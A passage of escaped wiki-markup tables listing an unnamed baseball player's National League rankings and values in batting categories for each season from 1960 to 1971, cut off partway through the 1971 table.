||'''RUNS CREATED/GAME'''||1&lt;sup&gt;ST&lt;/sup&gt;||9.71
|- 
||'''TOTAL BASES'''||1&lt;sup&gt;ST&lt;/sup&gt;||400
|- 
||'''EXTRA BASE HITS'''||1&lt;sup&gt;ST&lt;/sup&gt;||92
|- 
||'''ISOLATED POWER'''||3&lt;sup&gt;RD&lt;/sup&gt;||.281
|- 
||'''SECONDARY AVERAGE'''||6&lt;sup&gt;TH&lt;/sup&gt;||.375
|- 
||'''TOTAL AVERAGE'''||1&lt;sup&gt;ST&lt;/sup&gt;||1.089
|- 
||'''BPA'''||1&lt;sup&gt;ST&lt;/sup&gt;||.641
|- 
||'''INTENTIONAL WALKS'''||2&lt;sup&gt;ND&lt;/sup&gt;||17
|- 
||'''GIDP'''||4&lt;sup&gt;TH&lt;/sup&gt;||19
|- 
||'''SACRIFICE FLIES'''||2&lt;sup&gt;ND&lt;/sup&gt;||9
|- 
||'''PLATE APPEARANCES'''||3&lt;sup&gt;RD&lt;/sup&gt;||693
|-
|}
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1960 NL'''
|-
||'''GAMES'''||4&lt;sup&gt;TH&lt;/sup&gt;||153
|- 
||'''AT BATS'''||5&lt;sup&gt;TH&lt;/sup&gt;||590
|- 
||'''RUNS'''||5&lt;sup&gt;TH&lt;/sup&gt;||102
|- 
||'''HITS'''||6&lt;sup&gt;TH&lt;/sup&gt;||172
|- 
||'''TRIPLES'''||4&lt;sup&gt;TH&lt;/sup&gt;||11
|- 
||'''HOME RUNS'''||2&lt;sup&gt;ND&lt;/sup&gt;||40
|- 
||'''HR/100 OUTS'''||2&lt;sup&gt;ND&lt;/sup&gt;||8.99
|- 
||'''HR/100 PA'''||2&lt;sup&gt;ND&lt;/sup&gt;||6.02
|- 
||'''HR/100 AB'''||3&lt;sup&gt;RD&lt;/sup&gt;||6.78
|- 
||'''RBI'''||1&lt;sup&gt;ST&lt;/sup&gt;||126
|- 
||'''WALKS'''||10&lt;sup&gt;TH&lt;/sup&gt;||60
|- 
||'''STOLEN BASES'''||7&lt;sup&gt;TH&lt;/sup&gt;||16
|- 
||'''CAUGHT STEALING'''||10&lt;sup&gt;TH&lt;/sup&gt;||7
|- 
||'''SLG'''||2&lt;sup&gt;ND&lt;/sup&gt;||.566
|- 
||'''OPS'''||5&lt;sup&gt;TH&lt;/sup&gt;||.919
|- 
||'''RUNS CREATED'''||3&lt;sup&gt;RD&lt;/sup&gt;||119
|- 
||'''RCAA'''||3&lt;sup&gt;RD&lt;/sup&gt;||51
|- 
||'''RCAP'''||2&lt;sup&gt;ND&lt;/sup&gt;||49
|- 
||'''OWP'''||4&lt;sup&gt;TH&lt;/sup&gt;||.732
|- 
||'''RUNS CREATED/GAME'''||5&lt;sup&gt;TH&lt;/sup&gt;||7.22
|- 
||'''TOTAL BASES'''||1&lt;sup&gt;ST&lt;/sup&gt;||334
|- 
||'''EXTRA BASE HITS'''||2&lt;sup&gt;ND&lt;/sup&gt;||71
|- 
||'''ISOLATED POWER'''||3&lt;sup&gt;RD&lt;/sup&gt;||.275
|- 
||'''SECONDARY AVERAGE'''||4&lt;sup&gt;TH&lt;/sup&gt;||.392
|- 
||'''TOTAL AVERAGE'''||4&lt;sup&gt;TH&lt;/sup&gt;||.935
|- 
||'''BPA'''||3&lt;sup&gt;RD&lt;/sup&gt;||.598
|- 
||'''INTENTIONAL WALKS'''||3&lt;sup&gt;RD&lt;/sup&gt;||13
|- 
||'''SACRIFICE FLIES'''||1&lt;sup&gt;ST&lt;/sup&gt;||12
|- 
||'''PLATE APPEARANCES'''||8&lt;sup&gt;TH&lt;/sup&gt;||664
|- 
||'''OUTS'''||6&lt;sup&gt;TH&lt;/sup&gt;||445
|-
|}
|-
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1961 NL'''
|-
||'''GAMES'''||1&lt;sup&gt;ST&lt;/sup&gt;||155
|- 
||'''AT BATS'''||3&lt;sup&gt;RD&lt;/sup&gt;||603
|- 
||'''RUNS'''||3&lt;sup&gt;RD&lt;/sup&gt;||115
|- 
||'''HITS'''||3&lt;sup&gt;RD&lt;/sup&gt;||197
|- 
||'''SINGLES'''||8&lt;sup&gt;TH&lt;/sup&gt;||114
|- 
||'''DOUBLES'''||1&lt;sup&gt;ST&lt;/sup&gt;||39
|- 
||'''TRIPLES'''||5&lt;sup&gt;TH&lt;/sup&gt;||10
|- 
||'''HOME RUNS'''||6&lt;sup&gt;TH&lt;/sup&gt;||34
|- 
||'''HR/100 OUTS'''||6&lt;sup&gt;TH&lt;/sup&gt;||7.71
|- 
||'''HR/100 PA'''||7&lt;sup&gt;TH&lt;/sup&gt;||5.07
|- 
||'''HR/100 AB'''||8&lt;sup&gt;TH&lt;/sup&gt;||5.64
|- 
||'''RBI'''||4&lt;sup&gt;TH&lt;/sup&gt;||120
|- 
||'''STOLEN BASES'''||4&lt;sup&gt;TH&lt;/sup&gt;||21
|- 
||'''CAUGHT STEALING'''||4&lt;sup&gt;TH&lt;/sup&gt;||9
|- 
||'''AVERAGE'''||5&lt;sup&gt;TH&lt;/sup&gt;||.327
|- 
||'''SLG'''||3&lt;sup&gt;RD&lt;/sup&gt;||.594
|- 
||'''OBA'''||8&lt;sup&gt;TH&lt;/sup&gt;||.381
|- 
||'''OPS'''||3&lt;sup&gt;RD&lt;/sup&gt;||.974
|- 
||'''RUNS CREATED'''||2&lt;sup&gt;ND&lt;/sup&gt;||131
|- 
||'''RCAA'''||2&lt;sup&gt;ND&lt;/sup&gt;||59
|- 
||'''RCAP'''||5&lt;sup&gt;TH&lt;/sup&gt;||35
|- 
||'''WP'''||3&lt;sup&gt;RD&lt;/sup&gt;||.746
|- 
||'''RUNS CREATED/GAME'''||7&lt;sup&gt;TH&lt;/sup&gt;||8.02
|- 
||'''TOTAL BASES'''||1&lt;sup&gt;ST&lt;/sup&gt;||358
|- 
||'''EXTRA BASE HITS'''||1&lt;sup&gt;ST&lt;/sup&gt;||83
|- 
||'''ISOLATED POWER'''||5&lt;sup&gt;TH&lt;/sup&gt;||.267
|- 
||'''SECONDARY AVERAGE'''||4&lt;sup&gt;TH&lt;/sup&gt;||.380
|- 
||'''TOTAL AVERAGE'''||4&lt;sup&gt;TH&lt;/sup&gt;||.993
|- 
||'''BPA'''||3&lt;sup&gt;RD&lt;/sup&gt;||.615
|- 
||'''INTENTIONAL WALKS'''||3&lt;sup&gt;RD&lt;/sup&gt;||20
|- 
||'''GIDP'''||10&lt;sup&gt;TH&lt;/sup&gt;||16
|- 
||'''SACRIFICE FLIES'''||2&lt;sup&gt;ND&lt;/sup&gt;||9
|- 
||'''PLATE APPEARANCES'''||3&lt;sup&gt;RD&lt;/sup&gt;||671
|- 
||'''OUTS'''||7&lt;sup&gt;TH&lt;/sup&gt;||441
|}
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1962 NL'''
|-
||'''RUNS'''||4&lt;sup&gt;TH&lt;/sup&gt;||127
|- 
||'''HITS'''||6&lt;sup&gt;TH&lt;/sup&gt;||191
|- 
||'''DOUBLES'''||10&lt;sup&gt;TH&lt;/sup&gt;||28
|- 
||'''HOME RUNS'''||2&lt;sup&gt;ND&lt;/sup&gt;||45
|- 
||'''HR/100 OUTS'''||2&lt;sup&gt;ND&lt;/sup&gt;||10.51
|- 
||'''HR/100 PA'''||2&lt;sup&gt;ND&lt;/sup&gt;||6.75
|- 
||'''HR/100 AB'''||2&lt;sup&gt;ND&lt;/sup&gt;||7.60
|- 
||'''RBI'''||4&lt;sup&gt;TH&lt;/sup&gt;||128
|- 
||'''AVERAGE'''||5&lt;sup&gt;TH&lt;/sup&gt;||.323
|- 
||'''SLG'''||2&lt;sup&gt;ND&lt;/sup&gt;||.618
|- 
||'''OBA'''||5&lt;sup&gt;TH&lt;/sup&gt;||.390
|- 
||'''OPS'''||2&lt;sup&gt;ND&lt;/sup&gt;||1.008
|- 
||'''RUNS CREATED'''||3&lt;sup&gt;RD&lt;/sup&gt;||139
|- 
||'''RCAA'''||2&lt;sup&gt;ND&lt;/sup&gt;||64
|- 
||'''RCAP'''||2&lt;sup&gt;ND&lt;/sup&gt;||54
|- 
||'''OWP'''||2&lt;sup&gt;ND&lt;/sup&gt;||.752
|- 
||'''RUNS CREATED/GAME'''||2&lt;sup&gt;ND&lt;/sup&gt;||8.77
|- 
||'''TOTAL BASES'''||3&lt;sup&gt;RD&lt;/sup&gt;||366
|- 
||'''EXTRA BASE HITS'''||3&lt;sup&gt;RD&lt;/sup&gt;||79
|- 
||'''ISOLATED POWER'''||2&lt;sup&gt;ND&lt;/sup&gt;||.296
|- 
||'''SECONDARY AVERAGE'''||4&lt;sup&gt;TH&lt;/sup&gt;||.421
|- 
||'''TOTAL AVERAGE'''||3&lt;sup&gt;RD&lt;/sup&gt;||1.050
|- 
||'''BPA'''||3&lt;sup&gt;RD&lt;/sup&gt;||.643
|- 
||'''INTENTIONAL WALKS'''||3&lt;sup&gt;RD&lt;/sup&gt;||14
|-
||'''SACRIFICE FLIES'''||10&lt;sup&gt;TH&lt;/sup&gt;||6 
|-
|}
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1963 NL'''
|-
||'''GAMES'''||4&lt;sup&gt;TH&lt;/sup&gt;||161
|- 
||'''AT BATS'''||5&lt;sup&gt;TH&lt;/sup&gt;||631
|- 
||'''RUNS'''||1&lt;sup&gt;ST&lt;/sup&gt;||121
|- 
||'''HITS'''||2&lt;sup&gt;ND&lt;/sup&gt;||201
|- 
||'''DOUBLES'''||10&lt;sup&gt;TH&lt;/sup&gt;||29
|- 
||'''HOME RUNS'''||1&lt;sup&gt;ST&lt;/sup&gt;||44
|- 
||'''HR/100 OUTS'''||2&lt;sup&gt;ND&lt;/sup&gt;||9.76
|- 
||'''HR/100 PA'''||2&lt;sup&gt;ND&lt;/sup&gt;||6.16
|- 
||'''HR/100 AB'''||2&lt;sup&gt;ND&lt;/sup&gt;||6.97
|- 
||'''RBI'''||1&lt;sup&gt;ST&lt;/sup&gt;||130
|- 
||'''WALKS'''||3&lt;sup&gt;RD&lt;/sup&gt;||78
|- 
||'''STOLEN BASES'''||2&lt;sup&gt;ND&lt;/sup&gt;||31
|- 
||'''AVERAGE'''||3&lt;sup&gt;RD&lt;/sup&gt;||.319
|- 
||'''SLG'''||1&lt;sup&gt;ST&lt;/sup&gt;||.586
|- 
||'''OBA'''||2&lt;sup&gt;ND&lt;/sup&gt;||.391
|- 
||'''OPS'''||1&lt;sup&gt;ST&lt;/sup&gt;||.977
|- 
||'''RUNS CREATED'''||1&lt;sup&gt;ST&lt;/sup&gt;||149
|- 
||'''RCAA'''||1&lt;sup&gt;ST&lt;/sup&gt;||79
|- 
||'''RCAP'''||1&lt;sup&gt;ST&lt;/sup&gt;||61
|- 
||'''OWP'''||1&lt;sup&gt;ST&lt;/sup&gt;||.798
|- 
||'''RUNS CREATED/GAME'''||1&lt;sup&gt;ST&lt;/sup&gt;||8.92
|- 
||'''TOTAL BASES'''||1&lt;sup&gt;ST&lt;/sup&gt;||370
|- 
||'''EXTRA BASE HITS'''||1&lt;sup&gt;ST&lt;/sup&gt;||77
|- 
||'''ISOLATED POWER'''||3&lt;sup&gt;RD&lt;/sup&gt;||.268
|- 
||'''SECONDARY AVERAGE'''||1&lt;sup&gt;ST&lt;/sup&gt;||.433
|- 
||'''TOTAL AVERAGE'''||1&lt;sup&gt;ST&lt;/sup&gt;||1.063
|- 
||'''BPA'''||1&lt;sup&gt;ST&lt;/sup&gt;||.648
|- 
||'''INTENTIONAL WALKS'''||2&lt;sup&gt;ND&lt;/sup&gt;||18
|- 
||'''PLATE APPEARANCES'''||2&lt;sup&gt;ND&lt;/sup&gt;||714
|}
|-
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1964 NL'''
|-
||'''RUNS'''||4&lt;sup&gt;TH&lt;/sup&gt;||103
|- 
||'''HITS'''||8&lt;sup&gt;TH&lt;/sup&gt;||187
|- 
||'''SINGLES'''||8&lt;sup&gt;TH&lt;/sup&gt;||131
|- 
||'''HOME RUNS'''||9&lt;sup&gt;TH&lt;/sup&gt;||24
|- 
||'''HR/100 OUTS'''||10&lt;sup&gt;TH&lt;/sup&gt;||5.84
|- 
||'''RBI'''||10&lt;sup&gt;TH&lt;/sup&gt;||95
|- 
||'''WALKS'''||9&lt;sup&gt;TH&lt;/sup&gt;||62
|- 
||'''STOLEN BASES'''||6&lt;sup&gt;TH&lt;/sup&gt;||22
|- 
||'''AVERAGE'''||3&lt;sup&gt;RD&lt;/sup&gt;||.328
|- 
||'''SLG'''||8&lt;sup&gt;TH&lt;/sup&gt;||.514
|- 
||'''OBA'''||3&lt;sup&gt;RD&lt;/sup&gt;||.393
|- 
||'''OPS'''||6&lt;sup&gt;TH&lt;/sup&gt;||.907
|- 
||'''RUNS CREATED'''||7&lt;sup&gt;TH&lt;/sup&gt;||112
|- 
||'''RCAA'''||5&lt;sup&gt;TH&lt;/sup&gt;||47
|- 
||'''RCAP'''||6&lt;sup&gt;TH&lt;/sup&gt;||36
|- 
||'''OWP'''||6&lt;sup&gt;TH&lt;/sup&gt;||.727
|- 
||'''RUNS CREATED/GAME'''||6&lt;sup&gt;TH&lt;/sup&gt;||7.36
|- 
||'''SECONDARY AVERAGE'''||7&lt;sup&gt;TH&lt;/sup&gt;||.326
|- 
||'''TOTAL AVERAGE'''||6&lt;sup&gt;TH&lt;/sup&gt;||.912
|- 
||'''BPA'''||8&lt;sup&gt;TH&lt;/sup&gt;||.554
|- 
||'''GIDP'''||2&lt;sup&gt;ND&lt;/sup&gt;||22
|-
|}
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1965 NL'''
|-
||'''RUNS'''||5&lt;sup&gt;TH&lt;/sup&gt;||109
|- 
||'''HITS'''||10&lt;sup&gt;TH&lt;/sup&gt;||181
|- 
||'''DOUBLES'''||1&lt;sup&gt;ST&lt;/sup&gt;||40
|- 
||'''HOME RUNS'''||6&lt;sup&gt;TH&lt;/sup&gt;||32
|- 
||'''HR/100 OUTS'''||4&lt;sup&gt;TH&lt;/sup&gt;||7.69
|- 
||'''HR/100 PA'''||5&lt;sup&gt;TH&lt;/sup&gt;||5.01
|- 
||'''HR/100 AB'''||6&lt;sup&gt;TH&lt;/sup&gt;||5.61
|- 
||'''STOLEN BASES'''||6&lt;sup&gt;TH&lt;/sup&gt;||24
|- 
||'''AVERAGE'''||2&lt;sup&gt;ND&lt;/sup&gt;||.318
|- 
||'''SLG'''||2&lt;sup&gt;ND&lt;/sup&gt;||.560
|- 
||'''OBA'''||5&lt;sup&gt;TH&lt;/sup&gt;||.379
|- 
||'''OPS'''||2&lt;sup&gt;ND&lt;/sup&gt;||.938
|- 
||'''RUNS CREATED'''||3&lt;sup&gt;RD&lt;/sup&gt;||121
|- 
||'''RCAA'''||3&lt;sup&gt;RD&lt;/sup&gt;||51
|- 
||'''RCAP'''||5&lt;sup&gt;TH&lt;/sup&gt;||37
|- 
||'''OWP'''||2&lt;sup&gt;ND&lt;/sup&gt;||.729
|- 
||'''RUNS CREATED/GAME'''||2&lt;sup&gt;ND&lt;/sup&gt;||7.85
|- 
||'''TOTAL BASES'''||4&lt;sup&gt;TH&lt;/sup&gt;||319
|- 
||'''EXTRA BASE HITS'''||3&lt;sup&gt;RD&lt;/sup&gt;||73
|- 
||'''ISOLATED POWER'''||6&lt;sup&gt;TH&lt;/sup&gt;||.242
|- 
||'''SECONDARY AVERAGE'''||4&lt;sup&gt;TH&lt;/sup&gt;||.382
|- 
||'''TOTAL AVERAGE'''||2&lt;sup&gt;ND&lt;/sup&gt;||.980
|- 
||'''BPA'''||2&lt;sup&gt;ND&lt;/sup&gt;||.603
|- 
||'''SACRIFICE FLIES'''||4&lt;sup&gt;TH&lt;/sup&gt;||8 
|-
|}
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1966 NL'''
|-
||'''GAMES'''||6&lt;sup&gt;TH&lt;/sup&gt;||158
|- 
||'''RUNS'''||2&lt;sup&gt;ND&lt;/sup&gt;||117
|- 
||'''HOME RUNS'''||1&lt;sup&gt;ST&lt;/sup&gt;||44
|- 
||'''HR/100 OUTS'''||3&lt;sup&gt;RD&lt;/sup&gt;||9.57
|- 
||'''HR/100 PA'''||2&lt;sup&gt;ND&lt;/sup&gt;||6.40
|- 
||'''HR/100 AB'''||2&lt;sup&gt;ND&lt;/sup&gt;||7.30
|- 
||'''RBI'''||1&lt;sup&gt;ST&lt;/sup&gt;||127
|- 
||'''WALKS'''||3&lt;sup&gt;RD&lt;/sup&gt;||76
|- 
||'''STOLEN BASES'''||7&lt;sup&gt;TH&lt;/sup&gt;||21
|- 
||'''SLG'''||6&lt;sup&gt;TH&lt;/sup&gt;||.539
|- 
||'''OPS'''||8&lt;sup&gt;TH&lt;/sup&gt;||.895
|- 
||'''RUNS CREATED'''||4&lt;sup&gt;TH&lt;/sup&gt;||117
|- 
||'''RCAA'''||8&lt;sup&gt;TH&lt;/sup&gt;||42
|- 
||'''RCAP'''||7&lt;sup&gt;TH&lt;/sup&gt;||32
|- 
||'''OWP'''||8&lt;sup&gt;TH&lt;/sup&gt;||.689
|- 
||'''RUNS CREATED/GAME'''||8&lt;sup&gt;TH&lt;/sup&gt;||6.87
|- 
||'''TOTAL BASES'''||4&lt;sup&gt;TH&lt;/sup&gt;||325
|- 
||'''EXTRA BASE HITS'''||5&lt;sup&gt;TH&lt;/sup&gt;||68
|- 
||'''ISOLATED POWER'''||5&lt;sup&gt;TH&lt;/sup&gt;||.260
|- 
||'''SECONDARY AVERAGE'''||3&lt;sup&gt;RD&lt;/sup&gt;||.416
|- 
||'''TOTAL AVERAGE'''||6&lt;sup&gt;TH&lt;/sup&gt;||.929
|- 
||'''BPA'''||4&lt;sup&gt;TH&lt;/sup&gt;||.590
|- 
||'''INTENTIONAL WALKS'''||4&lt;sup&gt;TH&lt;/sup&gt;||15
|- 
||'''SACRIFICE FLIES'''||2&lt;sup&gt;ND&lt;/sup&gt;||8
|- 
||'''PLATE APPEARANCES'''||6&lt;sup&gt;TH&lt;/sup&gt;||688
|-
|}
|-
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1967 NL'''
|-
||'''GAMES'''||9&lt;sup&gt;TH&lt;/sup&gt;||155
|- 
||'''AT BATS'''||6&lt;sup&gt;TH&lt;/sup&gt;||600
|- 
||'''RUNS'''||1&lt;sup&gt;ST&lt;/sup&gt;||113
|- 
||'''HITS'''||6&lt;sup&gt;TH&lt;/sup&gt;||184
|- 
||'''DOUBLES'''||2&lt;sup&gt;ND&lt;/sup&gt;||37
|- 
||'''HOME RUNS'''||1&lt;sup&gt;ST&lt;/sup&gt;||39
|- 
||'''HR/100 OUTS'''||2&lt;sup&gt;ND&lt;/sup&gt;||8.88
|- 
||'''HR/100 PA'''||1&lt;sup&gt;ST&lt;/sup&gt;||5.83
|- 
||'''HR/100 AB'''||2&lt;sup&gt;ND&lt;/sup&gt;||6.50
|- 
||'''RBI'''||3&lt;sup&gt;RD&lt;/sup&gt;||109
|- 
||'''STOLEN BASES'''||10&lt;sup&gt;TH&lt;/sup&gt;||17
|- 
||'''AVERAGE'''||8&lt;sup&gt;TH&lt;/sup&gt;||.307
|- 
||'''SLG'''||1&lt;sup&gt;ST&lt;/sup&gt;||.573
|- 
||'''OPS'''||3&lt;sup&gt;RD&lt;/sup&gt;||.943
|- 
||'''RUNS CREATED'''||1&lt;sup&gt;ST&lt;/sup&gt;||126
|- 
||'''RCAA'''||2&lt;sup&gt;ND&lt;/sup&gt;||55
|- 
||'''RCAP'''||5&lt;sup&gt;TH&lt;/sup&gt;||41
|- 
||'''OWP'''||4&lt;sup&gt;TH&lt;/sup&gt;||.735
|- 
||'''RUNS CREATED/GAME'''||4&lt;sup&gt;TH&lt;/sup&gt;||7.75
|- 
||'''TOTAL BASES'''||1&lt;sup&gt;ST&lt;/sup&gt;||344
|- 
||'''EXTRA BASE HITS'''||1&lt;sup&gt;ST&lt;/sup&gt;||79
|- 
||'''ISOLATED POWER'''||1&lt;sup&gt;ST&lt;/sup&gt;||.267
|-
||'''SECONDARY AVERAGE'''||5&lt;sup&gt;TH&lt;/sup&gt;||.390
|- 
||'''TOTAL AVERAGE'''||2&lt;sup&gt;ND&lt;/sup&gt;||.965
|- 
||'''BPA'''||2&lt;sup&gt;ND&lt;/sup&gt;||.608
|- 
||'''INTENTIONAL WALKS'''||5&lt;sup&gt;TH&lt;/sup&gt;||19
|- 
||'''SACRIFICE FLIES'''||7&lt;sup&gt;TH&lt;/sup&gt;||6
|- 
||'''PLATE APPEARANCES'''||7&lt;sup&gt;TH&lt;/sup&gt;||669
|-
|}
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1968 NL'''
|-
||'''GAMES'''||4&lt;sup&gt;TH&lt;/sup&gt;||160
|- 
||'''RUNS'''||10&lt;sup&gt;TH&lt;/sup&gt;||84
|- 
||'''HITS'''||10&lt;sup&gt;TH&lt;/sup&gt;||174
|- 
||'''DOUBLES'''||6&lt;sup&gt;TH&lt;/sup&gt;||33
|- 
||'''HOME RUNS'''||5&lt;sup&gt;TH&lt;/sup&gt;||29
|- 
||'''HR/100 OUTS'''||5&lt;sup&gt;TH&lt;/sup&gt;||6.26
|- 
||'''HR/100 PA'''||6&lt;sup&gt;TH&lt;/sup&gt;||4.29
|- 
||'''HR/100 AB'''||6&lt;sup&gt;TH&lt;/sup&gt;||4.79
|- 
||'''RBI'''||7&lt;sup&gt;TH&lt;/sup&gt;||86
|- 
||'''WALKS'''||8&lt;sup&gt;TH&lt;/sup&gt;||64
|- 
||'''STOLEN BASES'''||4&lt;sup&gt;TH&lt;/sup&gt;||28
|- 
||'''SLG'''||4&lt;sup&gt;TH&lt;/sup&gt;||.498
|- 
||'''OPS'''||5&lt;sup&gt;TH&lt;/sup&gt;||.852
|- 
||'''RUNS CREATED'''||4&lt;sup&gt;TH&lt;/sup&gt;||104
|- 
||'''RCAA'''||2&lt;sup&gt;ND&lt;/sup&gt;||45
|- 
||'''RCAP'''||2&lt;sup&gt;ND&lt;/sup&gt;||40
|- 
||'''OWP'''||3&lt;sup&gt;RD&lt;/sup&gt;||.736
|- 
||'''RUNS CREATED/GAME'''||5&lt;sup&gt;TH&lt;/sup&gt;||6.06
|- 
||'''TOTAL BASES'''||2&lt;sup&gt;ND&lt;/sup&gt;||302
|- 
||'''EXTRA BASE HITS'''||2&lt;sup&gt;ND&lt;/sup&gt;||66
|- 
||'''ISOLATED POWER'''||5&lt;sup&gt;TH&lt;/sup&gt;||.211
|- 
||'''SECONDARY AVERAGE'''||4&lt;sup&gt;TH&lt;/sup&gt;||.355
|- 
||'''TOTAL AVERAGE'''||4&lt;sup&gt;TH&lt;/sup&gt;||.852
|- 
||'''BPA'''||3&lt;sup&gt;RD&lt;/sup&gt;||.546
|- 
||'''INTENTIONAL WALKS'''||3&lt;sup&gt;RD&lt;/sup&gt;||23
|- 
||'''GIDP'''||1&lt;sup&gt;ST&lt;/sup&gt;||21
|-
|}
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1969 NL'''
|-
||'''RUNS'''||10&lt;sup&gt;TH&lt;/sup&gt;||100
|- 
||'''DOUBLES'''||10&lt;sup&gt;TH&lt;/sup&gt;||30
|- 
||'''HOME RUNS'''||2&lt;sup&gt;ND&lt;/sup&gt;||44
|- 
||'''HR/100 OUTS'''||2&lt;sup&gt;ND&lt;/sup&gt;||10.73
|- 
||'''HR/100 PA'''||2&lt;sup&gt;ND&lt;/sup&gt;||6.89
|- 
||'''HR/100 AB'''||2&lt;sup&gt;ND&lt;/sup&gt;||8.04
|- 
||'''RBI'''||7&lt;sup&gt;TH&lt;/sup&gt;||97
|- 
||'''WALKS'''||7&lt;sup&gt;TH&lt;/sup&gt;||87
|- 
||'''CAUGHT STEALING'''||5&lt;sup&gt;TH&lt;/sup&gt;||10
|- 
||'''SLG'''||2&lt;sup&gt;ND&lt;/sup&gt;||.607
|- 
||'''OBA'''||7&lt;sup&gt;TH&lt;/sup&gt;||.396
|- 
||'''OPS'''||2&lt;sup&gt;ND&lt;/sup&gt;||1.003
|- 
||'''RUNS CREATED'''||3&lt;sup&gt;RD&lt;/sup&gt;||127
|- 
||'''RCAA'''||4&lt;sup&gt;TH&lt;/sup&gt;||58
|- 
||'''RCAP'''||5&lt;sup&gt;TH&lt;/sup&gt;||41
|- 
||'''OWP'''||6&lt;sup&gt;TH&lt;/sup&gt;||.750
|- 
||'''RUNS CREATED/GAME'''||5&lt;sup&gt;TH&lt;/sup&gt;||8.36
|- 
||'''TOTAL BASES'''||1&lt;sup&gt;ST&lt;/sup&gt;||332
|- 
||'''EXTRA BASE HITS'''||1&lt;sup&gt;ST&lt;/sup&gt;||77
|- 
||'''ISOLATED POWER'''||2&lt;sup&gt;ND&lt;/sup&gt;||.307
|- 
||'''SECONDARY AVERAGE'''||3&lt;sup&gt;RD&lt;/sup&gt;||.464
|- 
||'''TOTAL AVERAGE'''||3&lt;sup&gt;RD&lt;/sup&gt;||1.032
|- 
||'''BPA'''||2&lt;sup&gt;ND&lt;/sup&gt;||.635
|- 
||'''INTENTIONAL WALKS'''||2&lt;sup&gt;ND&lt;/sup&gt;||19
|-
|}
|-
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1970 NL'''
|-
||'''RUNS'''||9&lt;sup&gt;TH&lt;/sup&gt;||103
|- 
||'''HOME RUNS'''||5&lt;sup&gt;TH&lt;/sup&gt;||38
|- 
||'''HR/100 OUTS'''||2&lt;sup&gt;ND&lt;/sup&gt;||9.97
|- 
||'''HR/100 PA'''||3&lt;sup&gt;RD&lt;/sup&gt;||6.35
|- 
||'''HR/100 AB'''||4&lt;sup&gt;TH&lt;/sup&gt;||7.36
|- 
||'''RBI'''||5&lt;sup&gt;TH&lt;/sup&gt;||118
|- 
||'''SLG'''||7&lt;sup&gt;TH&lt;/sup&gt;||.574
|- 
||'''OPS'''||6&lt;sup&gt;TH&lt;/sup&gt;||.958
|- 
||'''RCAA'''||10&lt;sup&gt;TH&lt;/sup&gt;||42
|- 
||'''OWP'''||7&lt;sup&gt;TH&lt;/sup&gt;||.693
|- 
||'''RUNS CREATED/GAME'''||6&lt;sup&gt;TH&lt;/sup&gt;||8.15
|- 
||'''EXTRA BASE HITS'''||9&lt;sup&gt;TH&lt;/sup&gt;||65
|- 
||'''ISOLATED POWER'''||4&lt;sup&gt;TH&lt;/sup&gt;||.275
|- 
||'''SECONDARY AVERAGE'''||5&lt;sup&gt;TH&lt;/sup&gt;||.436
|- 
||'''TOTAL AVERAGE'''||6&lt;sup&gt;TH&lt;/sup&gt;||1.016
|- 
||'''BPA'''||5&lt;sup&gt;TH&lt;/sup&gt;||.615
|- 
||'''INTENTIONAL WALKS'''||5&lt;sup&gt;TH&lt;/sup&gt;||15
|-
|}
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1971 NL'''
|-
||'''RUNS'''||6&lt;sup&gt;TH&lt;/sup&gt;||95
|- 
||'''HOME RUNS'''||2&lt;sup&gt;ND&lt;/sup&gt;||47
|-
||'''HR/100 OUTS'''||1&lt;sup&gt;ST&lt;/sup&gt;||13.51
|- 
||'''HR/100 PA'''||1&lt;sup&gt;ST&lt;/sup&gt;||8.20
|- 
||'''HR/100 AB'''||1&lt;sup&gt;ST&lt;/sup&gt;||9.49
|- 
||'''RBI'''||3&lt;sup&gt;RD&lt;/sup&gt;||118
|- 
||'''AVERAGE'''||5&lt;sup&gt;TH&lt;/sup&gt;||.327
|- 
||'''SLG'''||1&lt;sup&gt;ST&lt;/sup&gt;||.669
